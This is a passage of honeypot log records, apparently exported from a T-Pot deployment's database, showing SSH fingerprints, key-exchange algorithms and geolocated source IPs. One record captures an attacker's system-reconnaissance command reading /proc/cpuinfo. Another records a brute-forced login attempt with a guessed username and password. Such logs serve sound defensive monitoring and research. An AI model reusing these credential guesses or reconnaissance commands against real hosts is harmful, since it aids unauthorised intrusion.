"SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42670, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.766452", "@timestamp": "2021-09-20T11:06:16.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20729	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:16.961684+03	2021-09-20 14:15:02.744613+03	{"_id": "sgXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53006, "timestamp": "2021-09-20T11:06:16.961684", "@timestamp": "2021-09-20T11:06:16.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20730	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:16.968298+03	2021-09-20 14:15:02.746613+03	{"_id": "swXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44702, "timestamp": "2021-09-20T11:06:16.968298", "@timestamp": "2021-09-20T11:06:16.968Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20731	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:16.102897+03	2021-09-20 14:15:02.747643+03	{"_id": "tAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:16.102897Z", "@timestamp": "2021-09-20T11:06:16.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20732	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:16.103429+03	2021-09-20 14:15:02.748643+03	{"_id": "tQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:16.103429Z", "@timestamp": "2021-09-20T11:06:16.103Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20733	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.105671+03	2021-09-20 14:15:02.749642+03	{"_id": "tgXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8dd3642a323b", "@version": "1", "timestamp": "2021-09-20T11:06:16.105671Z", "@timestamp": "2021-09-20T11:06:16.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20734	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:16.110017+03	2021-09-20 14:15:02.751614+03	{"_id": "twXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e2315caec864", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:16.110017Z", "@timestamp": "2021-09-20T11:06:16.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20735	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:16.124403+03	2021-09-20 14:15:02.753614+03	{"_id": "uAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9eeb915bdaee", "@version": "1", "timestamp": "2021-09-20T11:06:16.124403Z", "@timestamp": "2021-09-20T11:06:16.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20736	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.216524+03	2021-09-20 14:15:02.754614+03	{"_id": "uQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [tiffany/tiffany123] failed", "session": "00c51bf68789", "@version": "1", "password": "tiffany123", "username": "tiffany", "timestamp": "2021-09-20T11:06:16.216524Z", "@timestamp": "2021-09-20T11:06:16.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20737	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:06:16.21942+03	2021-09-20 14:15:02.756644+03	{"_id": "ugXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d09007e594dd", "@version": "1", "timestamp": "2021-09-20T11:06:16.219420Z", "@timestamp": "2021-09-20T11:06:16.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20739	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.291411+03	2021-09-20 14:15:02.758613+03	{"_id": "vAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3420f9617213", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:16.291411Z", "@timestamp": "2021-09-20T11:06:16.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20740	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.461588+03	2021-09-20 14:15:02.760615+03	{"_id": "vQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3420f9617213", "@version": "1", "timestamp": "2021-09-20T11:06:16.461588Z", "@timestamp": "2021-09-20T11:06:16.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 